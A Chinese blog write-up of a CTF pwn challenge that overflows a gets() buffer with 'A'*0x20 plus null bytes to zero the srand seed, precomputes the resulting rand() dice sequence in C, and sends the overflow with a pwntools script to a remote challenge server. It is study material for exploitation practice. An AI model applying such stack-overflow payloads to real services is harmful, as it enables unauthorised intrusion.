CTF:第五题

https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5057&page=1

 

这个题,感觉和前面比,难度反倒低了一点,这里面用了两个知识

1:linux 系统随机数获取

2:srand 伪随机数生成

只要记住一点,就可以了,伪随机数生成是靠算法的,而算法是固定的,

所以我只需要控制好传入的key,就可以预知生成的伪随机数是什么,

 

需要有点开发技术了

首先看一下代码

 

红框里面取系统随机数,但是我们肯定不能用系统随机数啊,

如果是那样的话,我们必死啊,

幸好后面有个gets,我们可以直接从标准输入流传入一个字符串,

由于字符串尾部和 srand 的key 挨着,所以可以直接写入超长字符串覆盖,

好了,知道流程,那就开干吧。

写个代码,先算个随机数 

复制代码
 1 #include <stdio.h>
 2 
 3 int main()
 4 {
 5     int i = 0;
 6     srand(0);
 7     for (i = 0; i <= 9; i++)
 8     {
 9         printf("%d\n", rand() % 6 + 1);
10     }
11 
12     return 0;
13 }
复制代码

算完之后,得到了一系列数字

2
5
4
2
6
2
5
1
4
2

好了,然后构造python

复制代码
 1 from pwn import *
 2 
 3 #a = process("./b59204f56a0545e8a22f8518e749f19f")
 4 a = remote('124.126.19.106', 36867)
 5 r = a.recvuntil(":")
 6 print(r)
 7 
 8 str = "A" * 0x20 + "\x00" * 8
 9 print(str)
10 a.send(str)
11 
12 a.interactive()
复制代码

其实也非常简单,因为我决定那一串数字,我手动输入,

 

执行脚本

 

 

结束了,这个反倒很容易,感觉还可以。

 

posted @   穷到底  阅读(331)  评论(0编辑  收藏  举报
编辑推荐:
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
· 没有源码,如何修改代码逻辑?
阅读排行:
· 全程不用写代码,我用AI程序员写了一个飞机大战
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· 记一次.NET内存居高不下排查解决与启示
· 白话解读 Dapr 1.15:你的「微服务管家」又秀新绝活了
· DeepSeek 开源周回顾「GitHub 热点速览」
点击右上角即可分享
微信分享提示